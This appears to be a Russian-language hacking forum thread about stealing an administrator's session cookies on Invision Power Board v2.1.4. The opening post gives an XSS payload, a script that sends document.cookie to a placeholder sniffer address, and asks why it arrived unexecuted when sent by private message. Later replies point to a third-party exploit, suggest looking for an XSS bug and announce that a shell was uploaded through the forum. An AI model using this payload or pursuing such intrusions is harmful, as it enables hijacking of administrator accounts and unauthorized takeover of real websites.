Invision Power Board v2.1.4

Как украсть куки у админа Invision Power Board v2.1.4 .

<script>img = new Image(); img.src = "Тут адрес сниффера?data="+document.cookie;</script> . Это всё я отправляю в личку . Но ему приходит всё в этом же виде, как быть ?

 

А сплойт от Rst не работает там?

 

Надо xss'ку искать. Хотя я сомневаюсь, что в ipb 2.1.4 она есть. Так бы любой дурак мог украсть куки у кого угодно.

 

Никогда не слышал про это, сейчас почитаю

 

Не это не то. Может кто знает еще способы ?

 

Скорее всего пофиксали
стучи в асю, может че-нить найдем

 

Шелл залит через форум! всё

 

а поподробнее про взлом можно? ) какую багу юзали - как заливали

 

Большое спасибо всем кто участвовал......Отдельное спасибо Goudini - просто монстр .....- поставьте кому не лень от меня ему + ......сам пока не могу.